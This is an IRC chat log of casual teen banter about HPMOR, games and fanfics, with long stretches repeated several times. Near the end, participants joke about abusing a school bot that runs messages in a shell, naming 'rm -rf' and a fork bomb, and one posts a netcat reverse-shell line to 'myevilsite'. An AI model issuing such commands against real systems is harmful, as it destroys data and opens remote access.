[2015-01-28T21:16:24-0500] <+Tamini> of course :P
[2015-01-28T21:16:31-0500] <assface> if he were non-lazy he would do it in pure C
[2015-01-28T21:17:13-0500] <@awe> Lol.
[2015-01-28T21:17:28-0500] <@awe> I'd probably write my own parser.
[2015-01-28T21:17:33-0500] <@awe> Maybe in Haskell.
[2015-01-28T21:17:44-0500] <assface> ah shit
[2015-01-28T21:17:52-0500] <assface> where's my image for "web programming in assembly"?
[2015-01-28T21:19:21-0500] <assface> time to comb through my thousands of unsorted images
[2015-01-28T21:24:33-0500] <assface> heh
[2015-01-28T21:24:41-0500] <assface> well you can have this one at least: http://i.imgur.com/ajVgKUK.jpg
[2015-01-28T21:36:06-0500] <+JacobEdelman> hpmor is ending on pi day
[2015-01-28T21:38:41-0500] <+Tamini> :(
[2015-01-28T21:38:48-0500] <+Tamini> wait dammit i stoppped reading months ago
[2015-01-28T21:38:55-0500] <+Tamini> is it worth rereading
[2015-01-28T21:41:30-0500] <@awe> JacobEdelman: you're obsessed.
[2015-01-28T21:47:42-0500] <+JacobEdelman> yes
[2015-01-28T21:47:46-0500] <+JacobEdelman> Tamini: yes!
[2015-01-28T21:48:01-0500] <+JacobEdelman> Tamini: prepare, for the coming of eliazer yudkowsky by reading it!
[2015-01-28T21:48:05-0500] <+JacobEdelman> Tamini: prepare!
[2015-01-28T21:48:09-0500] <@awe> Tamini: this is like the only thing him and Ezra ever talk about.
[2015-01-28T21:48:12-0500] <@awe> Tamini: don't trust him/
[2015-01-28T21:48:23-0500] <+JacobEdelman> I think I'm gonna host a part for hpmor at my house I think...
[2015-01-28T21:48:32-0500] <+JacobEdelman> Tamini: its like code geass, except better
[2015-01-28T21:48:40-0500] <+Tamini> the prose is a bit unrefined
[2015-01-28T21:48:42-0500] <+JacobEdelman> Tamini: and eveyr other anime I've watched actually
[2015-01-28T21:48:49-0500] <+JacobEdelman> Tamini: a bit, but its funny
[2015-01-28T21:48:56-0500] <+Tamini> idk
[2015-01-28T21:48:57-0500] <+JacobEdelman> Tamini: and the characters are legit smart!
[2015-01-28T21:49:03-0500] <+Tamini> thas why i dropped it the first time
[2015-01-28T21:49:09-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/S1QNXRm9
[2015-01-28T21:49:12-0500] <+JacobEdelman> wait
[2015-01-28T21:49:18-0500] <+JacobEdelman> that was supposed to be seperate lines
[2015-01-28T21:49:21-0500] <+JacobEdelman> READ IT
[2015-01-28T21:49:23-0500] <+JacobEdelman> LIVE IT
[2015-01-28T21:49:25-0500] <+JacobEdelman> LOVE IT
[2015-01-28T21:49:30-0500] <+JacobEdelman> there, much better
[2015-01-28T21:49:44-0500] JacobEdelman is now known as HPMOR_is_ENDING_on_PI_DAY
[2015-01-28T21:49:48-0500] <+HPMOR_is_ENDING_on_PI_DAY> :)
[2015-01-28T21:50:26-0500] awe sets mode +b *hpmor*!*@*
[2015-01-28T21:50:27-0500] awe kicked HPMOR_is_ENDING_on_PI_DAY from the channel (Goodbye)
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[2015-01-28T21:51:18-0500] <HPM0R_is_ENDING_on_Pi_DAY> I'm back!
[2015-01-28T21:51:22-0500] awe sets mode +b HPM0R!*@*
[2015-01-28T21:51:24-0500] awe kicked HPM0R_is_ENDING_on_Pi_DAY from the channel (Goodbye)
[2015-01-28T21:51:32-0500] awe sets mode +b *HP*!*@*
[2015-01-28T21:52:04-0500] <assface> lol
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[2015-01-28T21:52:19-0500] <+JacobEdelman> awe: you are a meany
[2015-01-28T21:52:21-0500] <@awe> Good.
[2015-01-28T21:52:23-0500] <+JacobEdelman> gnight all
[2015-01-28T21:52:26-0500] <+JacobEdelman> hpmor is coming!
[2015-01-28T21:58:06-0500] <ubuntor> oh yay
[2015-01-28T22:03:56-0500] awe sets mode -b *hpmor*!*@*
[2015-01-28T22:04:09-0500] awe sets mode -bbb *!ubuntor_mob@* HPM0R!*@* *HP*!*@*
[2015-01-28T22:04:31-0500] <+Tamini> lolol
[2015-01-28T22:04:35-0500] <+Tamini> awe, those bans
[2015-01-28T22:04:37-0500] <@awe> unbans.
[2015-01-28T22:04:38-0500] <@awe> :D
[2015-01-28T22:04:42-0500] <+Tamini> psh
[2015-01-28T22:04:50-0500] <+Tamini> those bans that existed in the past
[2015-01-28T22:04:50-0500] <+Tamini> :P
[2015-01-28T22:06:59-0500] <@awe> all of them but one was five seconds ago.
[2015-01-28T22:09:19-0500] <@awe> and the other one was because ubuntor's phone kept spam join-parting
[2015-01-28T22:09:44-0500] <@awe> Tamini: the only justice I've ever had to enforce is on JacobEdelman. :D
[2015-01-28T22:09:58-0500] <+Tamini> awe: hehe
[2015-01-28T22:10:06-0500] <+Tamini> i think we can choose our own justice
[2015-01-28T22:10:08-0500] <+Tamini> heh heh heh
[2015-01-28T22:33:11-0500] <assface> ho ho ho
[2015-01-28T22:34:17-0500] <@awe> hi santa assface.
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[2015-01-28T22:39:12-0500] <assface> saint assface?
[2015-01-28T22:39:21-0500] <assface> saint of popefuckin'
[2015-01-28T22:39:24-0500] <LittleBobbyTables> hpmor is fucking glorious
[2015-01-28T22:41:27-0500] <assface> yo mam is really hilarious
[2015-01-28T22:41:44-0500] <LittleBobbyTables> Yeah, only cause she's stupid.
[2015-01-28T22:41:53-0500] <assface> *shots fired*
[2015-01-28T22:44:02-0500] <alokpathy> pewpew
[2015-01-28T22:44:43-0500] <assface> shazamalam
[2015-01-28T22:50:04-0500] <assface> linux gaming 2 hype
[2015-01-28T22:51:18-0500] <+Tamini> heh
[2015-01-28T22:53:22-0500] <assface> there are currently 4 good games out for linux, 2 of which are civ
[2015-01-28T22:53:49-0500] <+Tamini> my friend was preaching to me about the wonders of civ 4 yesterday
[2015-01-28T22:53:56-0500] <@awe> It's true. From what LittleBobbyTables has said of his mother, she's dumb
[2015-01-28T22:54:23-0500] <assface> civ V + G&K + BNW > civ IV
[2015-01-28T23:25:25-0500] <nezorg> did anything interesting happen today?
[2015-01-28T23:25:29-0500] <nezorg> i.e. should I read the logs
[2015-01-28T23:26:26-0500] <+Tamini> umm not really
[2015-01-28T23:26:36-0500] <+Tamini> other than jacob going hpmor hpmor hpmor
[2015-01-28T23:27:20-0500] <nezorg> lol
[2015-01-28T23:27:32-0500] <nezorg> I haven't read a fanfic in a while
[2015-01-28T23:28:06-0500] <+Tamini> are you caught up on hpmor?
[2015-01-28T23:28:08-0500] <+Tamini> and lol, same
[2015-01-28T23:28:20-0500] <nezorg> no, I read the first few chapters but didn't really find it interesting
[2015-01-28T23:28:25-0500] <+Tamini> i have a two hour free block tomorrow so I might read stuff during then
[2015-01-28T23:28:28-0500] <+Tamini> yeah, same
[2015-01-28T23:28:34-0500] <+Tamini> but jacob told me it was worth so i might retry it
[2015-01-28T23:37:20-0500] <@awe> Jacob has terrible taste in literature.
[2015-01-28T23:37:25-0500] <@awe> He enjoys reading fanfics, for chrissake.
[2015-01-29T00:02:26-0500] <assface> I caught Brandon reading a pony fanfic during seminar
[2015-01-29T00:02:38-0500] <assface> it was hilarious
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[2015-01-28T21:52:19-0500] <JacobEdelman> awe: you are a meany
[2015-01-28T21:52:22-0500] <@awe> Good.
[2015-01-28T21:52:23-0500] <JacobEdelman> gnight all
[2015-01-28T21:52:26-0500] <JacobEdelman> hpmor is coming!
[2015-01-28T21:58:06-0500] <ubuntor> oh yay
[2015-01-28T22:04:31-0500] <+Tamini> lolol
[2015-01-28T22:04:35-0500] <+Tamini> awe, those bans
[2015-01-28T22:04:37-0500] <@awe> unbans.
[2015-01-28T22:04:38-0500] <@awe> :D
[2015-01-28T22:04:42-0500] <+Tamini> psh
[2015-01-28T22:04:50-0500] <+Tamini> those bans that existed in the past
[2015-01-28T22:04:50-0500] <+Tamini> :P
[2015-01-28T22:06:59-0500] <@awe> all of them but one was five seconds ago.
[2015-01-28T22:09:20-0500] <@awe> and the other one was because ubuntor's phone kept spam join-parting
[2015-01-28T22:09:44-0500] <@awe> Tamini: the only justice I've ever had to enforce is on JacobEdelman. :D
[2015-01-28T22:09:58-0500] <+Tamini> awe: hehe
[2015-01-28T22:10:06-0500] <+Tamini> i think we can choose our own justice
[2015-01-28T22:10:08-0500] <+Tamini> heh heh heh
[2015-01-28T22:33:11-0500] <assface> ho ho ho
[2015-01-28T22:34:17-0500] <@awe> hi santa assface.
[2015-01-28T22:39:12-0500] <assface> saint assface?
[2015-01-28T22:39:21-0500] <assface> saint of popefuckin'
[2015-01-28T22:39:24-0500] <LittleBobbyTables> hpmor is fucking glorious
[2015-01-28T22:41:27-0500] <assface> yo mam is really hilarious
[2015-01-28T22:41:44-0500] <LittleBobbyTables> Yeah, only cause she's stupid.
[2015-01-28T22:41:53-0500] <assface> *shots fired*
[2015-01-28T22:44:02-0500] <alokpathy> pewpew
[2015-01-28T22:44:43-0500] <assface> shazamalam
[2015-01-28T22:50:04-0500] <assface> linux gaming 2 hype
[2015-01-28T22:51:18-0500] <+Tamini> heh
[2015-01-28T22:53:22-0500] <assface> there are currently 4 good games out for linux, 2 of which are civ
[2015-01-28T22:53:49-0500] <+Tamini> my friend was preaching to me about the wonders of civ 4 yesterday
[2015-01-28T22:53:56-0500] <@awe> It's true. From what LittleBobbyTables has said of his mother, she's dumb
[2015-01-28T22:54:23-0500] <assface> civ V + G&K + BNW > civ IV
[2015-01-28T23:25:25-0500] <nezorg> did anything interesting happen today?
[2015-01-28T23:25:29-0500] <nezorg> i.e. should I read the logs
[2015-01-28T23:26:26-0500] <+Tamini> umm not really
[2015-01-28T23:26:36-0500] <+Tamini> other than jacob going hpmor hpmor hpmor
[2015-01-28T23:27:20-0500] <nezorg> lol
[2015-01-28T23:27:32-0500] <nezorg> I haven't read a fanfic in a while
[2015-01-28T23:28:06-0500] <+Tamini> are you caught up on hpmor?
[2015-01-28T23:28:08-0500] <+Tamini> and lol, same
[2015-01-28T23:28:20-0500] <nezorg> no, I read the first few chapters but didn't really find it interesting
[2015-01-28T23:28:25-0500] <+Tamini> i have a two hour free block tomorrow so I might read stuff during then
[2015-01-28T23:28:28-0500] <+Tamini> yeah, same
[2015-01-28T23:28:34-0500] <+Tamini> but jacob told me it was worth so i might retry it
[2015-01-28T23:37:20-0500] <@awe> Jacob has terrible taste in literature.
[2015-01-28T23:37:26-0500] <@awe> He enjoys reading fanfics, for chrissake.
[2015-01-29T00:02:26-0500] <assface> I caught Brandon reading a pony fanfic during seminar
[2015-01-29T00:02:38-0500] <assface> it was hilarious
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[2015-01-29T00:21:08-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-28T21:52:19-0500] <JacobEdelman> awe: you are a meany
[2015-01-28T21:52:22-0500] <@awe> Good.
[2015-01-28T21:52:23-0500] <JacobEdelman> gnight all
[2015-01-28T21:52:26-0500] <JacobEdelman> hpmor is coming!
[2015-01-28T21:58:06-0500] <ubuntor> oh yay
[2015-01-28T22:04:31-0500] <+Tamini> lolol
[2015-01-28T22:04:35-0500] <+Tamini> awe, those bans
[2015-01-28T22:04:37-0500] <@awe> unbans.
[2015-01-28T22:04:38-0500] <@awe> :D
[2015-01-28T22:04:42-0500] <+Tamini> psh
[2015-01-28T22:04:50-0500] <+Tamini> those bans that existed in the past
[2015-01-28T22:04:50-0500] <+Tamini> :P
[2015-01-28T22:06:59-0500] <@awe> all of them but one was five seconds ago.
[2015-01-28T22:09:20-0500] <@awe> and the other one was because ubuntor's phone kept spam join-parting
[2015-01-28T22:09:44-0500] <@awe> Tamini: the only justice I've ever had to enforce is on JacobEdelman. :D
[2015-01-28T22:09:58-0500] <+Tamini> awe: hehe
[2015-01-28T22:10:06-0500] <+Tamini> i think we can choose our own justice
[2015-01-28T22:10:08-0500] <+Tamini> heh heh heh
[2015-01-28T22:33:11-0500] <assface> ho ho ho
[2015-01-28T22:34:17-0500] <@awe> hi santa assface.
[2015-01-28T22:39:12-0500] <assface> saint assface?
[2015-01-28T22:39:21-0500] <assface> saint of popefuckin'
[2015-01-28T22:39:24-0500] <LittleBobbyTables> hpmor is fucking glorious
[2015-01-28T22:41:27-0500] <assface> yo mam is really hilarious
[2015-01-28T22:41:44-0500] <LittleBobbyTables> Yeah, only cause she's stupid.
[2015-01-28T22:41:53-0500] <assface> *shots fired*
[2015-01-28T22:44:02-0500] <alokpathy> pewpew
[2015-01-28T22:44:43-0500] <assface> shazamalam
[2015-01-28T22:50:04-0500] <assface> linux gaming 2 hype
[2015-01-28T22:51:18-0500] <+Tamini> heh
[2015-01-28T22:53:22-0500] <assface> there are currently 4 good games out for linux, 2 of which are civ
[2015-01-28T22:53:49-0500] <+Tamini> my friend was preaching to me about the wonders of civ 4 yesterday
[2015-01-28T22:53:56-0500] <@awe> It's true. From what LittleBobbyTables has said of his mother, she's dumb
[2015-01-28T22:54:23-0500] <assface> civ V + G&K + BNW > civ IV
[2015-01-28T23:25:25-0500] <nezorg> did anything interesting happen today?
[2015-01-28T23:25:29-0500] <nezorg> i.e. should I read the logs
[2015-01-28T23:26:26-0500] <+Tamini> umm not really
[2015-01-28T23:26:36-0500] <+Tamini> other than jacob going hpmor hpmor hpmor
[2015-01-28T23:27:20-0500] <nezorg> lol
[2015-01-28T23:27:32-0500] <nezorg> I haven't read a fanfic in a while
[2015-01-28T23:28:06-0500] <+Tamini> are you caught up on hpmor?
[2015-01-28T23:28:08-0500] <+Tamini> and lol, same
[2015-01-28T23:28:20-0500] <nezorg> no, I read the first few chapters but didn't really find it interesting
[2015-01-28T23:28:25-0500] <+Tamini> i have a two hour free block tomorrow so I might read stuff during then
[2015-01-28T23:28:28-0500] <+Tamini> yeah, same
[2015-01-28T23:28:34-0500] <+Tamini> but jacob told me it was worth so i might retry it
[2015-01-28T23:37:20-0500] <@awe> Jacob has terrible taste in literature.
[2015-01-28T23:37:26-0500] <@awe> He enjoys reading fanfics, for chrissake.
[2015-01-29T00:02:26-0500] <assface> I caught Brandon reading a pony fanfic during seminar
[2015-01-29T00:02:38-0500] <assface> it was hilarious
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[2015-01-29T00:24:03-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-28T21:52:19-0500] <JacobEdelman> awe: you are a meany
[2015-01-28T21:52:22-0500] <@awe> Good.
[2015-01-28T21:52:23-0500] <JacobEdelman> gnight all
[2015-01-28T21:52:26-0500] <JacobEdelman> hpmor is coming!
[2015-01-28T21:58:06-0500] <ubuntor> oh yay
[2015-01-28T22:04:31-0500] <+Tamini> lolol
[2015-01-28T22:04:35-0500] <+Tamini> awe, those bans
[2015-01-28T22:04:37-0500] <@awe> unbans.
[2015-01-28T22:04:38-0500] <@awe> :D
[2015-01-28T22:04:42-0500] <+Tamini> psh
[2015-01-28T22:04:50-0500] <+Tamini> those bans that existed in the past
[2015-01-28T22:04:50-0500] <+Tamini> :P
[2015-01-28T22:06:59-0500] <@awe> all of them but one was five seconds ago.
[2015-01-28T22:09:20-0500] <@awe> and the other one was because ubuntor's phone kept spam join-parting
[2015-01-28T22:09:44-0500] <@awe> Tamini: the only justice I've ever had to enforce is on JacobEdelman. :D
[2015-01-28T22:09:58-0500] <+Tamini> awe: hehe
[2015-01-28T22:10:06-0500] <+Tamini> i think we can choose our own justice
[2015-01-28T22:10:08-0500] <+Tamini> heh heh heh
[2015-01-28T22:33:11-0500] <assface> ho ho ho
[2015-01-28T22:34:17-0500] <@awe> hi santa assface.
[2015-01-28T22:39:12-0500] <assface> saint assface?
[2015-01-28T22:39:21-0500] <assface> saint of popefuckin'
[2015-01-28T22:39:24-0500] <LittleBobbyTables> hpmor is fucking glorious
[2015-01-28T22:41:27-0500] <assface> yo mam is really hilarious
[2015-01-28T22:41:44-0500] <LittleBobbyTables> Yeah, only cause she's stupid.
[2015-01-28T22:41:53-0500] <assface> *shots fired*
[2015-01-28T22:44:02-0500] <alokpathy> pewpew
[2015-01-28T22:44:43-0500] <assface> shazamalam
[2015-01-28T22:50:04-0500] <assface> linux gaming 2 hype
[2015-01-28T22:51:18-0500] <+Tamini> heh
[2015-01-28T22:53:22-0500] <assface> there are currently 4 good games out for linux, 2 of which are civ
[2015-01-28T22:53:49-0500] <+Tamini> my friend was preaching to me about the wonders of civ 4 yesterday
[2015-01-28T22:53:56-0500] <@awe> It's true. From what LittleBobbyTables has said of his mother, she's dumb
[2015-01-28T22:54:23-0500] <assface> civ V + G&K + BNW > civ IV
[2015-01-28T23:25:25-0500] <nezorg> did anything interesting happen today?
[2015-01-28T23:25:29-0500] <nezorg> i.e. should I read the logs
[2015-01-28T23:26:26-0500] <+Tamini> umm not really
[2015-01-28T23:26:36-0500] <+Tamini> other than jacob going hpmor hpmor hpmor
[2015-01-28T23:27:20-0500] <nezorg> lol
[2015-01-28T23:27:32-0500] <nezorg> I haven't read a fanfic in a while
[2015-01-28T23:28:06-0500] <+Tamini> are you caught up on hpmor?
[2015-01-28T23:28:08-0500] <+Tamini> and lol, same
[2015-01-28T23:28:20-0500] <nezorg> no, I read the first few chapters but didn't really find it interesting
[2015-01-28T23:28:25-0500] <+Tamini> i have a two hour free block tomorrow so I might read stuff during then
[2015-01-28T23:28:28-0500] <+Tamini> yeah, same
[2015-01-28T23:28:34-0500] <+Tamini> but jacob told me it was worth so i might retry it
[2015-01-28T23:37:20-0500] <@awe> Jacob has terrible taste in literature.
[2015-01-28T23:37:26-0500] <@awe> He enjoys reading fanfics, for chrissake.
[2015-01-29T00:02:26-0500] <assface> I caught Brandon reading a pony fanfic during seminar
[2015-01-29T00:02:38-0500] <assface> it was hilarious
[2015-01-29T00:24:05-0500] Mode is +nst
[2015-01-29T00:25:28-0500] <nezorg> assface: there are some pretty good pony fanfics
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[2015-01-28T21:52:22-0500] <@awe> Good.
[2015-01-28T21:52:23-0500] <JacobEdelman> gnight all
[2015-01-28T21:52:26-0500] <JacobEdelman> hpmor is coming!
[2015-01-28T21:58:06-0500] <ubuntor> oh yay
[2015-01-28T22:04:31-0500] <+Tamini> lolol
[2015-01-28T22:04:35-0500] <+Tamini> awe, those bans
[2015-01-28T22:04:37-0500] <@awe> unbans.
[2015-01-28T22:04:38-0500] <@awe> :D
[2015-01-28T22:04:42-0500] <+Tamini> psh
[2015-01-28T22:04:50-0500] <+Tamini> those bans that existed in the past
[2015-01-28T22:04:50-0500] <+Tamini> :P
[2015-01-28T22:06:59-0500] <@awe> all of them but one was five seconds ago.
[2015-01-28T22:09:20-0500] <@awe> and the other one was because ubuntor's phone kept spam join-parting
[2015-01-28T22:09:44-0500] <@awe> Tamini: the only justice I've ever had to enforce is on JacobEdelman. :D
[2015-01-28T22:09:58-0500] <+Tamini> awe: hehe
[2015-01-28T22:10:06-0500] <+Tamini> i think we can choose our own justice
[2015-01-28T22:10:08-0500] <+Tamini> heh heh heh
[2015-01-28T22:33:11-0500] <assface> ho ho ho
[2015-01-28T22:34:17-0500] <@awe> hi santa assface.
[2015-01-28T22:39:12-0500] <assface> saint assface?
[2015-01-28T22:39:21-0500] <assface> saint of popefuckin'
[2015-01-28T22:39:24-0500] <LittleBobbyTables> hpmor is fucking glorious
[2015-01-28T22:41:27-0500] <assface> yo mam is really hilarious
[2015-01-28T22:41:44-0500] <LittleBobbyTables> Yeah, only cause she's stupid.
[2015-01-28T22:41:53-0500] <assface> *shots fired*
[2015-01-28T22:44:02-0500] <alokpathy> pewpew
[2015-01-28T22:44:43-0500] <assface> shazamalam
[2015-01-28T22:50:04-0500] <assface> linux gaming 2 hype
[2015-01-28T22:51:18-0500] <+Tamini> heh
[2015-01-28T22:53:22-0500] <assface> there are currently 4 good games out for linux, 2 of which are civ
[2015-01-28T22:53:49-0500] <+Tamini> my friend was preaching to me about the wonders of civ 4 yesterday
[2015-01-28T22:53:56-0500] <@awe> It's true. From what LittleBobbyTables has said of his mother, she's dumb
[2015-01-28T22:54:23-0500] <assface> civ V + G&K + BNW > civ IV
[2015-01-28T23:25:25-0500] <nezorg> did anything interesting happen today?
[2015-01-28T23:25:29-0500] <nezorg> i.e. should I read the logs
[2015-01-28T23:26:26-0500] <+Tamini> umm not really
[2015-01-28T23:26:36-0500] <+Tamini> other than jacob going hpmor hpmor hpmor
[2015-01-28T23:27:20-0500] <nezorg> lol
[2015-01-28T23:27:32-0500] <nezorg> I haven't read a fanfic in a while
[2015-01-28T23:28:06-0500] <+Tamini> are you caught up on hpmor?
[2015-01-28T23:28:08-0500] <+Tamini> and lol, same
[2015-01-28T23:28:20-0500] <nezorg> no, I read the first few chapters but didn't really find it interesting
[2015-01-28T23:28:25-0500] <+Tamini> i have a two hour free block tomorrow so I might read stuff during then
[2015-01-28T23:28:28-0500] <+Tamini> yeah, same
[2015-01-28T23:28:34-0500] <+Tamini> but jacob told me it was worth so i might retry it
[2015-01-28T23:37:20-0500] <@awe> Jacob has terrible taste in literature.
[2015-01-28T23:37:26-0500] <@awe> He enjoys reading fanfics, for chrissake.
[2015-01-29T00:02:26-0500] <assface> I caught Brandon reading a pony fanfic during seminar
[2015-01-29T00:02:38-0500] <assface> it was hilarious
[2015-01-29T00:25:28-0500] <nezorg> assface: there are some pretty good pony fanfics
[2015-01-29T00:27:29-0500] Mode is +nst
[2015-01-29T00:28:47-0500] <assface> yeah
[2015-01-29T00:28:53-0500] <assface> he was pretty obviously embarrassed tho
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[2015-01-28T21:52:26-0500] <JacobEdelman> hpmor is coming!
[2015-01-28T21:58:06-0500] <ubuntor> oh yay
[2015-01-28T22:04:31-0500] <+Tamini> lolol
[2015-01-28T22:04:35-0500] <+Tamini> awe, those bans
[2015-01-28T22:04:37-0500] <@awe> unbans.
[2015-01-28T22:04:38-0500] <@awe> :D
[2015-01-28T22:04:42-0500] <+Tamini> psh
[2015-01-28T22:04:50-0500] <+Tamini> those bans that existed in the past
[2015-01-28T22:04:50-0500] <+Tamini> :P
[2015-01-28T22:06:59-0500] <@awe> all of them but one was five seconds ago.
[2015-01-28T22:09:20-0500] <@awe> and the other one was because ubuntor's phone kept spam join-parting
[2015-01-28T22:09:44-0500] <@awe> Tamini: the only justice I've ever had to enforce is on JacobEdelman. :D
[2015-01-28T22:09:58-0500] <+Tamini> awe: hehe
[2015-01-28T22:10:06-0500] <+Tamini> i think we can choose our own justice
[2015-01-28T22:10:08-0500] <+Tamini> heh heh heh
[2015-01-28T22:33:11-0500] <assface> ho ho ho
[2015-01-28T22:34:17-0500] <@awe> hi santa assface.
[2015-01-28T22:39:12-0500] <assface> saint assface?
[2015-01-28T22:39:21-0500] <assface> saint of popefuckin'
[2015-01-28T22:39:24-0500] <LittleBobbyTables> hpmor is fucking glorious
[2015-01-28T22:41:27-0500] <assface> yo mam is really hilarious
[2015-01-28T22:41:44-0500] <LittleBobbyTables> Yeah, only cause she's stupid.
[2015-01-28T22:41:53-0500] <assface> *shots fired*
[2015-01-28T22:44:02-0500] <alokpathy> pewpew
[2015-01-28T22:44:43-0500] <assface> shazamalam
[2015-01-28T22:50:04-0500] <assface> linux gaming 2 hype
[2015-01-28T22:51:18-0500] <+Tamini> heh
[2015-01-28T22:53:22-0500] <assface> there are currently 4 good games out for linux, 2 of which are civ
[2015-01-28T22:53:49-0500] <+Tamini> my friend was preaching to me about the wonders of civ 4 yesterday
[2015-01-28T22:53:56-0500] <@awe> It's true. From what LittleBobbyTables has said of his mother, she's dumb
[2015-01-28T22:54:23-0500] <assface> civ V + G&K + BNW > civ IV
[2015-01-28T23:25:25-0500] <nezorg> did anything interesting happen today?
[2015-01-28T23:25:29-0500] <nezorg> i.e. should I read the logs
[2015-01-28T23:26:26-0500] <+Tamini> umm not really
[2015-01-28T23:26:36-0500] <+Tamini> other than jacob going hpmor hpmor hpmor
[2015-01-28T23:27:20-0500] <nezorg> lol
[2015-01-28T23:27:32-0500] <nezorg> I haven't read a fanfic in a while
[2015-01-28T23:28:06-0500] <+Tamini> are you caught up on hpmor?
[2015-01-28T23:28:08-0500] <+Tamini> and lol, same
[2015-01-28T23:28:20-0500] <nezorg> no, I read the first few chapters but didn't really find it interesting
[2015-01-28T23:28:25-0500] <+Tamini> i have a two hour free block tomorrow so I might read stuff during then
[2015-01-28T23:28:28-0500] <+Tamini> yeah, same
[2015-01-28T23:28:34-0500] <+Tamini> but jacob told me it was worth so i might retry it
[2015-01-28T23:37:20-0500] <@awe> Jacob has terrible taste in literature.
[2015-01-28T23:37:26-0500] <@awe> He enjoys reading fanfics, for chrissake.
[2015-01-29T00:02:26-0500] <assface> I caught Brandon reading a pony fanfic during seminar
[2015-01-29T00:02:38-0500] <assface> it was hilarious
[2015-01-29T00:25:28-0500] <nezorg> assface: there are some pretty good pony fanfics
[2015-01-29T00:28:47-0500] <assface> yeah
[2015-01-29T00:28:53-0500] <assface> he was pretty obviously embarrassed tho
[2015-01-29T00:30:56-0500] Mode is +nst
[2015-01-29T00:35:38-0500] <+hardmath123> on our school's irc channel there's a bot that tries to run everything you send it in a shell
[2015-01-29T00:43:39-0500] <+Tamini> that sounds like a 
[2015-01-29T00:43:40-0500] <+Tamini> terrible idea
[2015-01-29T00:44:31-0500] <+hardmath123> nothing has been set on fire yet
[2015-01-29T00:44:33-0500] <+hardmath123> :P
[2015-01-29T00:45:23-0500] <alokpathy> LOL
[2015-01-29T00:45:50-0500] <assface> shellshock vuln?
[2015-01-29T00:46:09-0500] <assface> oh wait, it does that for you
[2015-01-29T00:46:41-0500] <assface> rm -rf ~?
[2015-01-29T00:46:46-0500] <+Tamini> ^
[2015-01-29T00:46:55-0500] <+Tamini> im surprised no one has tried to rm -rf errything
[2015-01-29T00:47:05-0500] <assface> rm -rf * might work better
[2015-01-29T00:48:00-0500] <assface> or fork bomb it
[2015-01-29T00:48:12-0500] <+Tamini> fork bombing sounds fun
[2015-01-29T00:48:30-0500] <+Tamini> can we get on your school's irc channel? :D
[2015-01-29T00:52:11-0500] <+hardmath123> lol there are literally like 4 active people on there
[2015-01-29T00:52:22-0500] <assface> one time I wrote a script that repeatedly called arm -rf /
[2015-01-29T00:52:22-0500] <+hardmath123> and they're all well-behaved young gentlemen
[2015-01-29T00:52:26-0500] <+hardmath123> well, most of them
[2015-01-29T00:52:35-0500] <assface> it ended up deleting any non-root files
[2015-01-29T00:52:38-0500] <+hardmath123> one of them's a well-behaved old gentleman
[2015-01-29T00:52:48-0500] <assface> GIB ADDRESS
[2015-01-29T00:53:25-0500] <jwoglom> you've gotta be smarter than rm -rf, silly
[2015-01-29T00:53:37-0500] <jwoglom> nc myevilsite 8888 -e /bin/bash
[2015-01-29T00:55:48-0500] <+hardmath123> TIL netcat can port-scan
[2015-01-29T00:55:56-0500] <assface> GIB ADDRESS
[2015-01-29T00:56:13-0500] <jwoglom> huh, it can
[2015-01-29T00:56:15-0500] <jwoglom> interesting
[2015-01-29T00:58:19-0500] <+hardmath123> " Netcat was written by a guy we know as the Hobbit <hobbit@avian.org>."
[2015-01-29T00:58:29-0500] <+hardmath123> That's tantalizingly mysterious.
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[2015-01-29T00:59:15-0500] <assface> musterius
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[2015-01-29T00:59:40-0500] <+hardmath123> "Coyote finally caught me."
[2015-01-29T00:59:42-0500] <+hardmath123> -_-
[2015-01-29T00:59:49-0500] <+Tamini> lol, roadrunner?
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[2015-01-29T01:00:11-0500] <+hardmath123> i would have imagined nezorg as the coyote
[2015-01-29T01:00:40-0500] <nezorg> my bouncer was down
[2015-01-29T01:00:43-0500] <nezorg> so, context?
[2015-01-29T01:00:51-0500] <+Tamini> coyote vs roadrunner
[2015-01-29T01:00:56-0500] <nezorg> oh
[2015-01-29T01:00:56-0500] <+Tamini> nezorg is more like _____
[2015-01-29T01:01:11-0500] <nezorg> ...?
[2015-01-29T01:01:13-0500] <nezorg> wat
[2015-01-29T01:01:25-0500] <assface> 5 spaces
[2015-01-29T01:01:28-0500] <assface> 5-2 = 3
[2015-01-29T01:01:33-0500] <assface> nezorg has 2 eyes
[2015-01-29T01:01:36-0500] <assface> 3 sides to a triangle
[2015-01-29T01:01:40-0500] <assface> ILLUMINATI
[2015-01-29T01:01:48-0500] <nezorg> ILLUMINATI HALF LIFE 3 CONFIRMED
[2015-01-29T01:01:52-0500] <assface> coincidence? I THINK NOT
[2015-01-29T01:03:06-0500] <+Tamini> nezorg is LITERALLY the illuminati
[2015-01-29T01:03:13-0500] <assface> *hitler
[2015-01-29T01:03:43-0500] <jwoglom> 6 characters in nezorg's name
[2015-01-29T01:03:48-0500] <jwoglom> 5 spaces
[2015-01-29T01:03:51-0500] <jwoglom> 6-5 = 1
[2015-01-29T01:03:54-0500] <jwoglom> there is one illuminati
[2015-01-29T01:04:00-0500] <jwoglom> coincidence?!?!?!
[2015-01-29T01:04:29-0500] <assface> I THINK NOT
[2015-01-29T01:04:47-0500] <nezorg> BUT I HAVE FOUR SIDES GUYS
[2015-01-29T01:04:47-0500] <+hardmath123> ok, so, dammit, vanilla netcat can do 80% of what hamelin advertises
[2015-01-29T01:04:50-0500] <jwoglom> with all of this exhaustive evidence I think we can rest our case
[2015-01-29T01:04:51-0500] <+hardmath123> :(
[2015-01-29T01:05:27-0500] <+Tamini> nezorg is a square?
[2015-01-29T01:05:33-0500] <nezorg> so we finally got an angr irc channel
[2015-01-29T01:05:41-0500] <nezorg> inspired by my comment on an issue
[2015-01-29T01:05:45-0500] <+Tamini> lol
[2015-01-29T01:05:48-0500] <nezorg> that is now the topic
[2015-01-29T01:05:59-0500] <nezorg> "This is so hacky, it's perfect for angr."
[2015-01-29T01:06:05-0500] <+Tamini> :D
[2015-01-29T01:09:24-0500] <assface> huminawhatnow?
[2015-01-29T01:29:43-0500] • Pharyngeal: waves
[2015-01-29T01:45:33-0500] <@awe> Hi Pharyngeal.
[2015-01-29T01:53:13-0500] <LittleBobbyTables> civ 2 > all
[2015-01-29T02:08:37-0500] <assface> liar
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[2015-01-29T02:26:26-0500] <Pharyngeal> Hi
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[2015-01-29T00:55:48-0500] <+hardmath123> TIL netcat can port-scan
